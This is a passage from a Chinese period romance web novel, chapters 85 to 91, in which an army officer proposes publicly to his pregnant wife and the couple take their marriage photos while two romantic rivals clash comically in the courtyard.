迎面跑来的姑娘,白点红色衬衣、A字蓝短裙,腰被束得细细的,一跑起来,屁股一扭一扭。衬衣紧崩,仿佛多喘几口气,就能把前面那颗最顶点的扣子崩开一样。
咦?
霍战北说的竟然是真的?
高岭脸色一下子变了。
姑娘不但穿着洋气,那说话的口气,娇滴滴的,嗲的要死。还有那一张脸,搽着**,嘴唇居然还涂着艳艳的红色。
这哪是啥姑娘,分明是个妖精嘛!
她以前咋没见过?
从哪跑出来的妖精,竟然敢抢走她的男人?
欠揍!
不等霍战北和郑好有反应,高岭直接挡在了轮椅前,
“你谁啊,见了男人就喊哥哥。谁是你哥啊?”
“我夏千燕,你谁啊?哪跑来的臭小子,连我也不认识,小心我让战北哥哥削你。”
夏千燕整颗心都在霍
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战北身上,一门心思想着,她得把刚才想好的话,说给霍战北听,来个先入为主。
只扫了一眼挡在她面前的小兵,黑高瘦,寸头,一点也不俊。
长得不好看的男人,从来都不在她关注的名单上,除非有钱有权,能带她鲤鱼跃龙门,否则,通通看不见。
夏千燕?
高岭仔细一看,这才看出来面前的姑娘,真是霍战北的前对象。
她向霍战北告白前,专门调查过霍战北的男女关系,她喜欢霍战北是一回事,但可不想差插足、破坏别人的姻缘。
她查到霍战北恋爱史简单,只有一个前女友,几年前就分手了。
她看过相片,很洋气的一个姑娘。
嗯,和相片里的人一样,还真是霍战北的那个前对象。
不是分手了吗?
嫌弃霍战北家庭出事,悔婚跑路了。
这会子,咋又跑来找霍战北了?
难道刚才霍战北说的结婚对象就是夏千燕,他两又和好了?高岭往夏千燕肚子上看。
“你怀孩子了?”
高岭一想到,自己还要和一个孕妇争男人,就有些不太好意思。
但真要她现在就直接放弃霍战北,她还真做不到。
“你这人咋这样嘴贱呢?你才怀孩子了呢!你全家都怀孩子了!”
哦,高岭松了口气,原来没怀孩子啊。
”你给霍战北下药了?“
夏千燕真是气**,这小兵哪儿跑出来的啊?怎么这么二啊?哪有人一张嘴就问这话的。
再说了,她给不给霍战北下药,管他一个小兵啥事啊?
”我下不下药,和你啥关系?哪来的臭男人,问一个姑娘家这样的胡话,你脑子叫驴踢了啊。“
“这样说就是下了。”
高岭向来能打绝对不哔哔。
“战北哥哥,你看看,你都带来的啥人啊。他当着你的面,就敢欺负我,你还不赶紧让他滚。人家不想看见他。他臭**。”
臭**?
小妖精居然敢说她臭**!
高岭再怎么说,也是个姑娘家。来之前,她特意洗过澡,换了干净衣裳。恐怕训练汗味太重。
“你说谁臭**?你倒是香,搞得给个妖精一样。”
第86章 哎哟俺滴娘唉,太俊了
高岭生气,直接去推夏千燕。
“再叽歪我打你了。”
高岭心想,看在这小妖精下药,无意把霍战北药直了的份上,她这次就不和小妖精计较了,赶紧让小妖精滚。
霍战北是我的,小妖精想吃回头草,没门。
高岭生气,直接去推夏千燕。
“你推,我让你推,我敢推吗你?”
夏千燕身子往前一挺,那颗扣子堪堪就要崩掉一样。
夏千燕心里想,哼,看你这个臭小兵能的吧?我就不信,当着霍战北和楚行止的面,这个小兵敢伸手推我。他只要碰到我,我就喊他耍流氓。
高岭一巴掌往前,夏千燕身子一挺,这一巴掌结结实实按在了夏千燕胸前,手劲特别大,夏千燕一下子甩出去,趴到地上,胸前一阵阵火辣辣。痛**。
“哎哟,疼,战北哥哥——”
夏千燕眼里迅速浮上泪光,
“当着这么多人的面,他一个男人竟然敢……人家真是没脸见人了啦。”
男人?
高岭看着自己的手,
“不好意思,我训练习惯了。手劲大。”
“打他,战北哥哥,你让郑好打他。楚哥哥,你就站在一旁看着,我一个小姑娘被一个大男人欺负吗?”
大男人?
高岭真生气了,这小妖精也太过分了,当着霍战北的面,一口一个男人的叫她。
还一声一声叫着战北哥哥。
这她实在不能忍了。
高岭上前。
夏千燕刚从地上爬起来,看着越靠越近的高岭,
“你要干啥?你别过来。你再碰我,我真得要去告你耍流氓。”
她弯着腰,小手揪着自己衣襟,仿佛一个被大恶狼觊觎的小兔子。
夏千燕心想,我都这样了,我就不相信,霍战北和楚行止能当面看着,我再被一个小兵欺负。
“你说我对你耍流氓是吧?那我还就真耍流氓了。”
高岭一手猛地揽住了夏千燕的小细腰,另一只手在她扣子上使劲胡楼了几下,那粒扣子终于受不住,离开了它的位置。
“啊——”
夏千燕发出惊人的惨叫,手打脚踢。
高岭手一放,她赶紧手捂着扣子的地方,蹲在地上,两行眼泪夺眶而出。却不敢再发出一点骂声。
夏千燕一来没有想到,霍战北和楚行止会不阻止这小兵的行为。
二来,也没想到,这小兵居然这么大胆,竟然敢当着霍战北和楚行止的面,对她如此下手无礼。
“记住,霍战北是我的男人,你不许再叫他哥哥。还有,记得以后见我躲着走。不然,我见你一次胡搂你一次。”
这?
这是啥虎狼之词啊?
夏千燕白了脸,连脸上装样子的眼泪都差一点忘了流。
这小兵是什么身份,一点面子都不给这两人留。
难不成,这小兵的来头比两人高。
那,
这小兵摸了她,她是不是要顺道赖上他?
霍战北这么难攻下,实在不行,其实她也可以换一个男人啊。但前提必须是这个小兵比霍更有前途,家世更显赫。
楚行止和郑好,你看看我,我看看你,两人不由都裆下一凉。
尤其是楚行止,以前他只觉得霍战北可怕,现在得再加一个,那就是高岭,这个男人婆简直比霍战北还可怕。
高岭刚才说他娘们叽叽真算给他天大的面子了,这要是直接给他下面来一腿,嘿嘿,想想都后背发麻。
高岭这个男人婆也太可怕了。
“那边是?”
霍战北皱眉,夏千燕和高岭闹啥,他根本没在意。
他用目光在院子里寻找苏圆圆。
没看到人,却看到大院里一群人都围着大树下土台子。
出事了?圆圆也在里面看热闹?
“真是没见过这么脸皮厚的姑娘,被人骂了这么久,也不生气,还坐在台子上吃鸡蛋呢。”
“就是,看胖成那样了,还吃,怪不得男人瘸着腿都不要她。”
“她婶子,你咋不骂了,走干啥?”
“唉,骂累了,刚才骂有人给糖果子。这会给糖果子的姑娘不是走了吗?没人给钱给东西,站那骂人白费唾沫,累得慌。”
“就是,我也骂累了,口渴得厉害,咱先去喝点水,找找那个给糖果子的海市姑娘。再问她要几
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把糖果子,咱不能白骂。”
……
三个婶子大娘从人群中向大门走来,霍战北耳朵尖,听到了三人的对话,心头一沉,有一种不祥的预感。
“哎哟,看看,那不是给糖果子的海市姑娘吗?”
一个婶子眼尖,指着夏千燕。
“就是她,快,走,问她要糖果子去。”
三婶子颠颠跑过来,围住了夏千燕,
“姑娘,我们不骂她了,你快给我们糖果子。”
“咦,这轮椅?瘸子?”
一个婶子看了一眼霍战北,咦了一声,目光落到他脸上,立马眼直了,
“哎哟,娘哎,这男人咋长这么俊唉,怪不得刚才那个胖丫头要玩心眼,不要脸的扒住这男人,真俊唉。”
“就是,俺从来都没见过这么俊的男人。”
“瘸子,可惜是个瘸子。”
“别说瘸子,就是瘫子,俺要是年轻几岁,俺也想要。太俊了,俺的个娘唉——”
三个女人一台戏,何况是三个乡下婶子,你一言我一语,打量着霍战北,全都眼睛直冒火。
听到这里,霍战北还有啥不明白的。
被那群人围着的,竟然是他媳妇。
脸色一变,猛地从轮椅上起身,把花束往郑好怀里一塞,
”抱好,一朵都不能坏。“
迈开大步向人群走去。
高岭:这腿好了?
郑好脸上一僵,腿发直,娘啊,这几个婶子说的人,不会真是小嫂子吧?那么多人围着小嫂子骂?
楚行止:唉,霍战北又折腾这腿,回去他又得费劲给他治。
三个婶子大娘:这么俊的男人腿不瘸了?哎哟喂,俺滴娘唉,太俊了,还是个军人。那个死胖丫头,吃得可真好。
“来了,这谁啊?”
“是啊,太俊了,兵哥哥。”
围着的婶子大娘小媳妇一看到这么俊一个军人走进来,赶紧闪开路,霍战北径直走进里面,一眼就看到了被围在中间,坐在土台子上的苏圆圆。
“媳妇,你没事吧?”
苏圆圆抬头,脸上一点难受和眼泪都没有,一副老神在在的样子,“我没事啊。”
第87章 郑好急得上蹿下跳
这些婶子大娘小媳妇自己不嫌嘴干,想说啥说就是了,反正她全当听不见。
苏圆圆可不会傻到,一一和这些不相关的人辩驳。
作为一个现代社会人,当医生做手术,免不了和一些难缠的患者家属打交道。
有一次,她刚从手术室出来,就被一个激动的家属抓住了领口,张嘴就骂她,说她们都是庸医,要害死他媳妇。还扬言要是他媳妇治不好,他就杀了她全家,炸了医院。
何况她业余在家,还是一个不露脸美食生活博主,她拍的相片发的视频下面,有说好听的,也有骂得难听的。
她要是事事都计较,人人都辨明,岂不要活活累死。
所以苏圆圆主打的就是一个情绪稳定。坐等霍战北他们来。
“咦,霍战北,你咋走着来了?”
苏圆圆一改刚才懒散的神情,一说到霍战北的腿伤,立马全身气场都变了。
“你这样任性对腿部康复是不利的。万一有后遗症可咋办?快坐到台子上,让我看看。”
职业病犯了,通身的外科医生的气场立马散开,眼神都犀利了。
霍战北乖乖坐到台子上,主动卷起裤子,
“媳妇,我腿是有点疼。你给我吹吹,吹吹就不疼了。”
哗!
大姑娘小媳妇都傻眼了。
这么帅,这么好看,这么星星眼的兵哥哥,竟然真是这位胖同志的男人?
瞧瞧人家多么恩爱!
哪里有啥跑不跑的,她们这是被人骗了吧?
高岭这时也跟过来了,站在那里,也傻眼了。
我艹,这乖得像大狗一样的男人是霍战北?
紧跟在后面的郑好捂脸。
唉,我都没眼看了,反正自从团长娶了小嫂子,那每天都在刷新他的三观和认知。
他麻了,他早就习惯了,完全麻了。
郑好相信,这会子小嫂子要是让团长吃屎,他们家团长一准让他跑步去茅厕取热乎的。
“疼啊?这时候知道疼了,刚才跑的时候咋忘了?真是不长记性。”
苏圆圆胖,她想蹲下去,仔细检查一下霍战北的腿。
可是,站到霍战北面前,她蹲了一下,没蹲下去,太胖了,何况还怀着个大肚子。
蹲这个动作,对现在的她来说,简直就是个地狱式难度。
“媳妇,你坐。”
霍战北却顺手扶住了她,把她拉到台子上坐下,转头看了一眼郑好。
郑好立马秒懂,上前一步,把怀里抱着的花束递到他家团长手里。
霍战北单膝跪下,仰头用一双含情脉脉的星星眼看着苏圆圆,
“媳妇,我稀罕你。我要把你娶回家,我的工资全给你管。以后咱家全是你说了算。媳妇,嫁给我吧?”
哗!
大院里不光是婶子大娘小媳妇看过来,男女老少都围了过来。
六七十年代,说媒见面的不稀罕,这当众求婚的太少见了。
尤其是这个男人还长这么俊,还捧着花,还当众向女人下跪,还说这么惊人的话。
那时节娱乐活动少,人们还很纯粹,出了这样的热**,谁不跑过来看。
霍战北这个货,他是认真的?
楚行止这辈子嘴都没张这么大过。
揉了揉眼,再揉了揉眼,面前的一幕还在眼前。
霍战北,真的单膝跪地,脊背挺直,向他的小胖媳妇当众求婚。
这家伙都这么不要脸了吗?
苏圆圆不语,只是盯着霍战北的眼睛,若有所思。
原书中的霍战北因为绝嗣和性格,在外人眼里尤如一座冰山,谁靠近他,都得冻个半死。
就是最后和女主成亲,生儿育女,一家幸福,也是相当克制内敛的。
她穿书了,和这家伙呆在一起这些天,她才真正了解了这家伙,其实是个外冷内热的性格。在外严酷冰冷,但在家里,对她可是又闷又骚又撩人。
但那是在家里,这当众跪地求婚?
他这是跟谁学的啊
不过,她面上不显,但心里此时已经感动得一塌糊涂了。
活了两个世界,这还是她第一次有了谈恋爱的感觉,有了要嫁人的感觉,有了要与一个男人相伴一生的心动。
苏圆圆不语,霍战北忐忑了。
坏了,他妈教的这个法子是不是太洋气了?他的小胖媳妇从乡下来,不管在家里如何,这在外面,还是会保守一些的。
他这样张扬,媳妇会不会觉得他太浮夸了
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,靠不住啊?
“媳妇,这是我给你买的戒指、手镯。你要是不喜欢这款式,咱登记好以后,再去换款式。”
哗!
周围人都要炸了,尤其那些大姑娘小媳妇,人人盯着霍战北手里的戒指、手镯都眼红。
娘啊,天老爷啊,这男人也太宠媳妇了吧?
给这么个胖媳妇买这么多东西。
银手镯、簪子、戒指子这些东西,她们嫁人的时候,也不是没有。有的是娘给的压箱底的老物件,有的是进门生下儿子后,婆婆给的传家宝。
但像现在这样,还没进门呢?就揣着个肚子的,不检点的胖姑娘,这男人就这么会宠。
“答应他,哈哈,这老弟真得劲!”
有小伙子吹口哨。
“你看看人家,你看看你家,来登记给俺扯块的确良布做褂子都扣扣搜搜。”
旁边有今天也来登记照相的新人,姑娘开始在下面,偷偷拧身边小伙子的胳膊。
苏圆圆还是不语,心里柔软的一塌糊涂。
霍战北,不愧是她苏圆圆的男人,真好!
只有旁边的郑好急得团团转,他们家团长这是一见小嫂子就降智,这是在哪啊?财不外露的道理懂不懂?
郑好已经看到人群里,有几个男人眼神盯着他家团长手里的东西,闪着恶狼一样的光。
楚行止也皱眉,霍战北这是脑子进水了。
当着这么多人的面,就拿戒指子手镯子哄媳妇,他就不怕被组织上叫去谈话,说他影响队伍形象。
“媳妇,洋车子、手表、缝纫机,你喜欢啥咱买啥。”
这句话简直像油锅里进了水,人群全都炸开了,这小伙子啥家庭啊?这胖姑娘有啥特殊本事啊?
这哪是娶媳妇,这是要继承家产的节奏啊。
“小嫂子,你快答应团长吧。你听团长都说了,以后团长挣了钱,一定把这些东西全给你买齐。”
郑好上蹿下跳,真是良苦用心,他得维护他们家团长的形象啊。
“小嫂子,你别害怕,俺整个团的兄弟,都把钱借给团长了,团长都给俺们打了欠条,三年后归还都行。你想要啥,俺们团的人都会齐钱,给你买。你快答应俺们团长吧。”
第88章 发喜糖喽
众人瞬间炸开了锅,
“俺说啥人能这样娶媳妇,原来都是借的啊?”
“哎哟,看看,这真是太喜欢这姑娘了。结个婚,欠三年借。”
“看你说的,谁家娶个媳妇不拉饥荒?”
“可不是,这姑娘还怀着孩子,这是一娶进门,就添人进口,这钱花的值。”
“哎哟,人家姑娘还没答应呢?”
“就是,这还没进门就欠一屁股债。还要养孩子,这日子也难过。”
婶子大娘议论纷纷,有小媳妇小声说,
“可是,这男人长得俊,还是个军人,对媳妇还好。”
小媳妇的男人立马不愿意了,看着郑好推着的轮椅说,
“你没看见吗?他腿瘸,那个小兵还推着个轮椅呢?”
“怪不得要借钱娶媳妇,原来是个瘸子。”
小媳妇们闭嘴了,男人可是家里的顶梁柱,虽说长得俊的放家里看着好受。
可是,这以后居家过日子长久,还得是能干的。瘸了要是好不了,那不就完了。
“但不管咋说,借这么多钱娶媳妇,这男人也是个欠考虑的,这胖姑娘也是憨。”
“就是,带的风气不好。害得我对象刚才还掐我。”
刚才被对象拧胳膊的小伙子可找着错了,嘀咕着身边的他对象,
“你看看,你还眼红人家给的东西多,我要是借那么多钱娶你,你愿意进门就背债过日子不?”
姑娘也觉得刚才自己话说错了,但还想给自己找回点面子,
“可人家长得俊啊,对媳妇也好啊。”
郑好听着周围人的议论,脑子在快速转动,他家团长就是埋雷的,他就是那个苦命负责清除**的。
“小嫂子,你快答应俺家团长吧。他虽然不能生。但你生的孩子,他会当亲生的养。俺全团人都会当亲生的养。”
哗!
这一次人群就不是哗然了,简直是地动山摇。
男人们怔了一下,全都笑开了。
大姑娘小媳妇张着嘴,都不会说话了。
“瞧瞧,这男人俊有啥用,不能生。还欠一屁股账。”
刚才被拧的小伙子更加得意了,对着他对象,一阵挤眉弄眼。
啥全团人都会当亲生的养?
霍战北冷眼一扫郑好。
郑好立马转过了头,他看不见。只注意听着周围人的议论,确定再也没听见啥风气,财啥的。
哎哟俺的娘唉,郑好一身汗,心里终于松了口气,还好,总算帮团长把局面控制住了。
希望团长能理解他的良苦用心,也希望小嫂子能接受团长的降智**操作。
楚行止张开的嘴巴终于合上了。
这样也管?
今天他真是开了眼了。
夏千燕所有的话都梗在了喉咙里,她想说霍战北绝嗣,胖圆圆怀的孩子不是他的。
她想说胖圆圆是个乡下姑娘,贪图霍战北的家庭和钱。
她想说……
现在,她想说的这一切,全被郑好这个操作给压没了。
夏千燕气得简直要昏过去。
我艹,这霍战北和他的小勤务兵一唱一合,真是能上天啊!
高岭站在一边,也是久久没插上话。
她能说啥?
眼前的一切,再明显不过,人家这个胖姑娘根本没主动抢霍战北,全是霍战北这个狗扑过去,一个劲在人家面前摇尾巴。
她上去还能说啥?
“胖妹子,你要是不喜欢他,就别答应。”
高岭半天找回自己的声音。她人都来了,怎么说,也得给自己争取一个机会吧。
“你看刚才他战友都说了,他腿瘸、绝嗣、还欠一屁股债。不如——”
胖妹子?
苏圆圆把目光投向高岭,瘦高精练,眉目凌厉,一身军装,全身气场和霍战北简直有得一拼。
这个女兵是?
苏圆圆迅速在脑海里翻找原书中的人物,很快对上了号。
姓高的姑娘,叫啥名字,她记不住了。但这姑娘应该是**闺女,那个在大礼堂公开向霍战北求婚的姑娘。
她看书向来随心所欲,除了主角,一般配角她都记不住。
但这个高姑娘当众求婚这种举动,在六七十年代,这样的敢于追求自我幸福的姑娘,天生的大女主形象。
苏圆圆当时看书的时候,还是非常喜欢的。
当时看书时,她还想过,这男主是不是脑残,为啥不喜
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欢光明磊落的女战友,偏选择绿茶夏千燕?
“瘦姐姐,不好意思,你来晚了。”
苏圆圆对高岭灿烂一笑,转头对着霍战北伸出了她的小胖手,
“北北,我也喜欢你,我答应嫁给你,做你的媳妇。”
小胖媳妇说喜欢他了!
小胖媳妇说答应做他媳妇了!
霍战北高兴地脸都红了,面对千军万马都没胆怯过。刚才小胖媳妇一直不回答他,他真心害怕了。
甚至有一瞬间,他都后悔听**话,用这样的法子当众求婚了,万一小胖媳妇觉得他这是当众逼她,那可咋办啊?
颤抖着手,霍战北把戒指往苏圆圆手指头上戴。
戒指他选了店里最大号的。戴圆圆手上还是不够宽裕。他又怕弄疼圆圆的手指头,戴了一会子也没戴上去。
还是圆圆拿过去,使劲往手指上一按,戴上去了。
至于手镯,霍战北倒不敢直接给苏圆圆戴上了。
手镯虽然尺寸能戴上,可他怕弄疼媳妇的小胖手。还是回家用油润一下再给媳妇戴吧。
“回去我再减点肥哈。”
苏圆圆倒不矫情,直接拿过手镯,放到口袋里。
“减啥肥,咱不减。回去咱再去融了打个圈口更大的。”
霍战北笑眯了眼,一脸高兴傻了的表情。
郑好不想看他家团长傻子表情,转过头,却和楚行止眼对上了眼。
楚行止脸上的表情,变了又变。
他一向心静如水、行止于缓。
今天他的心情和脸色变化,那可是比他前半辈子二十多年,还要多。
心情也由最初的看笑话,到震惊,再到现在的麻木。
对,
楚行止也麻了,和郑好一样的心理历程,他用了这十几分钟,全过完了。
哎哟,终于答应了。
众人立马都笑起来,
“成了,买喜糖,要吃大白兔。”
对,买喜糖!
大人孩子都喊起来,要吃喜糖。反正这男人娶媳妇已经借了那么多钱了,也不在乎再多借这么一点,给大家伙发一波喜糖。
“郑好!”
霍战北朝着郑好喊一嗓子,
“发糖!”
第89章 结发成夫妻
“好来!”
郑好从轮椅下面,拿出一大包大白兔奶糖,往人群中撒去。
心里不由再一次感叹,刚才他们家团长买红糖的时候,他就对他家团长说,得再买一包大白兔奶糖。
他家团长居然问,
“买奶糖干啥?”
霍战北若有所思地看着郑好,
“我上次让你还夏千燕那包奶糖,你不会到这时候还没还吧?”
郑好在心里翻白眼,他家团长一心只知道给小嫂子买红糖烫热水喝。
“团长,你和小嫂子都登记了。回去在家属院,见了人总得发点喜糖吧。”
霍战北恍然大悟,
“对,我咋忘了这事。买,你多买几包,让家属院人人都吃上我和圆圆的喜糖。你记住了,多买几包啊。”
郑好是个会过日子的,最后只买了两包。
没想到,还没等他们回去,这么快就派上用场了。
“抢喜糖喽!”
这年头,大白兔奶糖可是稀罕物,好东西。
大人孩子都不说话了,都低头撅着个腚捡喜糖。
霍战北一把抱起苏圆圆,大步向照相馆门口走去。
“我们去照相登记。”
……
“你几号啊,到你们了吗?就进来?”
照相老师傅推了一下眼镜,不满地看着一身军装的年轻男人,抱着个胖胖的姑娘进来。
照相师傅并不会认为穿军装来照相的人就是军人,因为六七十年代,年轻人照结婚照,最常穿的就是军装和中山装。
“十八号。”
霍战北把苏圆圆放到凳子上坐好,从口袋里掏出条子给照相师傅看。
“你前面还有两人,咱可不兴加塞的。”
“16号!咦,人呢?”
照相师傅又喊了一嗓子,没人进来。
“17号!”
还是没人进来,照相师傅挑门帘子探头一望,院子里人挤人,都在地上捡糖果子呢。
“师傅,别喊了,说不定他们不想照了。”
苏圆圆乐了。
从挎包里掏出一把大白兔奶糖放到桌上,
“师傅,请你吃喜糖。”
这是她从家里放到挎包里拿来的,就想着照相登记的时候,请办事人吃喜糖,讨喜气的。
“喜糖吃了不牙疼。”
新媳妇长得福态,一说话就笑,看得照相师傅也笑了。
先给谁照不是照。反正是前面两个人光顾着拣糖果子,自己误了号,算不得自己工作失误。
别看一上午照了五组登记结婚的新人,这还是第一对主动给他糖果子吃的新人呢。
照相师傅心里高兴,从桌上拿两朵照结婚照的红花,递给霍战北,
“来,来,结婚的喜花别上,一双一对,欢欢喜喜一辈子。”
“师傅你可真会说话,谢师傅吉言了,也祝师傅夫妻和美,一家安康。”
苏圆圆不要钱的吉祥话,一串串往外冒,说得照相师傅更开心了。
霍战北给自己别上,又转过身,给苏圆圆别。
苏圆圆今天穿了一件红黑格宽松一些的翻领褂子,露出里面的白衬衣领口,扎了两个中长小辫子,辫梢扎了两朵红绒花,下身穿了一条深蓝卡其布裤子。
一双黑布鞋,鞋边绣着缠枝莲和一个石榴口。
这是今天早上,刘招娣特意一大早给她送过来的新衣裳,刘招娣眼睛红得像兔子,一看就是昨天晚上连夜赶出来的。
刘招娣说,“结婚照是一辈子的大事,要压在玻璃板下看一辈子的。可不能马虎了。这穿深一点的衣裳,照的相片好看。”
刘招娣眼里带着羡慕与失落的复杂情绪,
“俺这一辈子连一张结婚照都没有,这日子就是过一天少一天。有时候想想,都忘了自己结婚时是个啥样子了。”
说着,又从口袋里掏出两朵和衣裳颜色一样的红绒花,
“配上同色的头花戴,好看。”
原主的衣裳不是红就是绿,太吓人了。苏圆圆可不想穿。原本想着,既然霍战北照相要穿军装,那她也借一件大号女军装穿上,胸口戴朵红花,照就行了。
她以前看五六十年代的老片子,那些下放知青结婚都是这样穿的。很有年代感,到时候手里再捧一本红宝书。
没想到,刘招娣早就为她打算好了,苏圆圆感动地很,自然得穿了。
刘招娣的针线活真不错,都没给她量身材,居然做的相当合身。
她这么胖
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,还挺着孕肚子,这衣裳穿上都好看。还不勒肚子。
才穿好衣裳,郑好娘又进来了,手里拿着一双鞋,黑布鞋,上面绣着缠枝莲和一个绽开的石榴口。
“这是俺用俺奶奶教的古法,给你绣的喜鞋。祝你和霍团长夫妻恩爱、百子千福。”
这么好看的鞋子?这得绣一整个晚上没睡觉吧?
看着刘招娣和郑好娘熬红的眼,苏圆圆心里暖极了。
“别动,我给你扣。”
霍战北头埋在苏圆圆胸前,这个红绒花不好扣,他难为了一身汗。
两人离这么近,近到苏圆圆清晰地闻到他身上的味道,那是一种独属于雄性的野蛮而强烈的气息。
直冲她的鼻腔。
隔着薄薄的两层衣服,霍战北的大手右摆弄一下,左摆弄一下。
苏圆圆前面比两馍馍都大,霍战北还刻意避着,还是左碰一下,右碰一下,他更急了。
两人身后是一块背景布,前面照相师傅在不停摆弄他的老式照相机。还不停地把头钻进照相机后面大疙瘩蒙的布里看看。
根本没有在意他们两个的动作。
苏圆圆深呼吸,离得这么近,她看得清楚,霍战北低着的脖子,带着一层青青的头发茬子,那皮肤每动一下,都犹如行走无声的野兽。
“总算好了。”
霍战北终于扣上了那朵绒花,他吐出一口长气。
苏圆圆只觉得脖子处一热,那股独属于霍战北的,熟悉的,野蛮的热气让她身上一麻。
霍战北抬头终于离开了这个狭小的空间,苏圆圆还没松一口气。
“哎哟,我的头发。”
没想到,刚才霍战北低头摆弄红绒花,苏圆圆辫子几根头发勾在了他的肩章上。
随着霍战北的起身,苏圆圆被拉得直接扑到了他肩上。
“别动,我来弄。”
这个角度,霍战北可不好弄。
苏圆圆偏着脸,也不好弄。
“哈哈哈,你们这对年轻人可真有意思。别急啊,咱不急,我等你们,慢慢弄开。”
听到惊呼,照相师傅抬头才看到这一幕,不由乐了。
“老辈子都说结发夫妻,看看,你们这不就是结发了吗?”
第90章 你说谁是你的男人
这对年轻人感情可真好,照相师傅不由想起自己刚和老婆子相亲的那会。
说起来,他和老婆子能结婚,全靠头发的机缘。
那年他挑着担子去赶集,一不小心,一个卖花的姑娘长辫子缠上了他的衣裳扣子。
两个人就这样结缘了,后来卖花姑娘就成了他媳妇,也就是如今陪了他半辈子的老婆子。
一想到这里,照相师傅哈哈笑起来。
苏圆圆和霍战北可没那么轻松,用着最别扭的方式,最终弄了一身汗,还有大红脸,解开了缠上的头发。
“这个可是它自己主动跑过来的。”
霍战北小心把缠断在上面的头发拿下来,放进胸口的衣袋里,又按了按。
“结发成夫妻,恩爱两不疑。”
照相师傅笑眯眯看着两人,
“坐好了,我们拍照。来,往一起靠靠。”
照相师傅指挥着两人靠近一些。
苏圆圆刚想往霍战北身边靠一点,霍战北直接伸胳膊揽住她腰,自己主动贴过来了,贴的严丝合缝一点空也不留。
还伸手轻轻把她的脸按在自己肩上,
“乖,就这样靠着我,看镜头,笑一笑啊。”
霍战北一本正经地哄着她,苏圆圆突然觉得这一幕很温馨,又觉得霍战北叫她乖很违和。
不由噗嗤一声笑了。
“好,就这样,成了。”
照相师傅抓住时机,连按了几个快门。
“一共有五个镜头,你们是选一张呢?还是?”
“选一张切成证件照,贴结婚证上。剩下的四组全洗出来,都过塑封上。”
“好来,两寸双人结婚照六张加四张6寸生活照,你们生活照要彩色还是黑白?”
结婚照要黑白的二寸,贴上盖上印就成了。
生活照可以洗彩色,大一些尺寸的。
“彩色。”
“黑白二寸结婚照一张二毛,六张一块二;六寸生活照黑白的四块再加一块上色,一张五块,一共四张二十块,这样,你一共给我二十一块二毛钱。”
苏圆圆暗暗咂舌,六七十年代,照相可真贵。
这照一次相,都能买四五十斤猪肉了。
不说里面两人多黏糊幸福。
只说院子里,人们捡了糖果子散去,只留下几人站在土台子边面面相觑。
“你是女的?”
夏千燕挨到高岭身边,刚才苏圆圆和这人的对话她听得一清二楚。
胖妹妹?
瘦姐姐?
这个瘦高小兵居然是个女的?
夏千燕认为自己一向看人很准,没想到,这次竟然看走了眼。
倒是苏圆圆长得一副胖蠢相,眼光倒毒辣,一眼就看穿了这小兵是个姑娘。
怪不得刚才这人那样恶劣的对她,霍战北和楚行止都不管,原来这人是个姑娘啊。
这女兵对她和苏圆圆敌意那么大!
哦,这个女兵竟然也是喜欢霍战北的。
夏千燕心里盘算着,霍战北还没弄到手,一个苏圆圆她还没搞定,现在她又多一个对手了。
怎么办?
夏千燕头脑风暴中。
“我是男是女和你有关系吗?”
高岭正心乱如麻着呢。
她没想到霍战北真要娶媳妇了。
回想起刚才霍战北说的那些话。这家伙说的居然都是真的。
艹!亏她自诩是世间最了解霍战北的人,血里来,火里去,并肩作战那么多年。她早就知道霍战北向来不说谎话。
他说他有媳妇了,那他就一定有媳妇了。
“郑好,霍战北真要结婚了?”
高岭怼了夏千燕一句,再不管她了。转头直盯着郑好的眼睛。
郑好被她盯的头皮发麻,心想,娘唉,高连长的眼神真是和我家团长一模一样的,看谁都像是看敌人一样。
“是的,高连长。我们团长和小嫂子今天就是来拍结婚照、登记的。”
郑好觉得,高连长总算是回过神来了。他得帮着团长把实情告诉高连长。省得高连长想不开,去搅和团长和小嫂子的婚事。
“小嫂子已经怀了团长的孩子,从老家来随军了。团长娘见过小嫂子了,两家也说好过几天就在咱军区再办一场婚礼。”
郑好赶紧拉着楚行止作证,
“楚医生就是婚礼策划人,团长把一切都交给他办了。”
郑好吧啦吧啦一顿说,把苏圆圆和他们家团长咋认识,咋结婚的,咋跑来随军的,所有事都简单说了一遍。
当然,有些细节不能说的地方,他自动帮他家团长略去了。
说完之后,郑好一脸
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,你不信,你就问问楚医生的表情。
“对,那家伙现在是有妇之夫。”
楚行止看着高岭,眼神里闪着压不住的兴奋之光,
“高连长,礼堂告白不成,你要不要再来一次礼堂抢亲?”
郑好白了楚行止一眼,他咋看,都觉得这楚医生一副唯恐天下不乱的样子。
高连长?
礼堂告白?
夏千燕终于知道面前这个瘦高个黑脸女兵是谁了?
她刚来那天,逛遍了整个家属院,见谁都介绍自己是霍团长对象。
当时就有长舌的军嫂,告诉她,幸好她来了,要再不来,霍团长说不定就会被人抢跑了。
然后就告诉了她有多少大姑娘追过霍战北,尤其是**闺女礼堂告白的事。
高岭?
夏千燕想起那些长舌军嫂说的、向霍战北告白的女兵叫高岭,是高**的独生闺女。
“高姐姐,你看看,战北哥哥真不知咋想的。放着你这样好条件的美人儿不要,偏生要了那个大肥婆当媳妇?凭啥一个乡下丫头就能压过咱们?”
夏千燕软弱无骨地向高岭身上靠去。
夏千燕作为中学校花,身边从不泛追求者,她纵横情场多年得出一个结论:
情场,没有永远的朋友,也没有永远的敌人,只有永远的利益。
甭管过程如何,最终只要抢男人成功就行。
她无依无靠,弄不走苏圆圆,搞不定霍战北。
这不帮手来了,高岭可是**闺女,刚才对她下手那么猛,死疼了,这要对付起苏圆圆来,嘿,想想都快活。
“叫谁姐姐来?”
高岭厌恶地一闪身,夏千燕差一点摔个大马趴,摇晃了几下才站住。
“我刚才已经警告过你了,离我远点。否则,见你一次,胡搂你一次。”
夏千燕此时知道了高岭的身份,她现在可不敢对高岭用强的手段。
挤出一脸可怜兮兮的笑,
“高姐姐,我没有坏心眼的。我只是替你打抱不平。你说说,苏圆圆她一个乡**丫头,抢了我的男人也就罢了,居然还敢和姐姐你抢男人,真是活得不耐烦了。”
“抢了你的男人?你说谁是你的男人?”
高岭伸出一根手指,按在了夏千燕的额头上。
第91章 高连长在胡搂小嫂子的手
她要比夏千燕高一个头,又一身腱子肉。一根手指的力道,就按得夏千燕动弹不得,小脸涨得通红,
“是你的男人。我说苏圆圆她抢了你的男人。高姐姐,我可以帮你一起去把你的男人抢回来。”
夏千燕把你的男人几个字咬得特别重。两眼泪汪汪,一副小可怜的表情。
高岭冷嗤一声,
“我高岭追男人,还用得着你这弱叽叽的软脚虾帮助?”
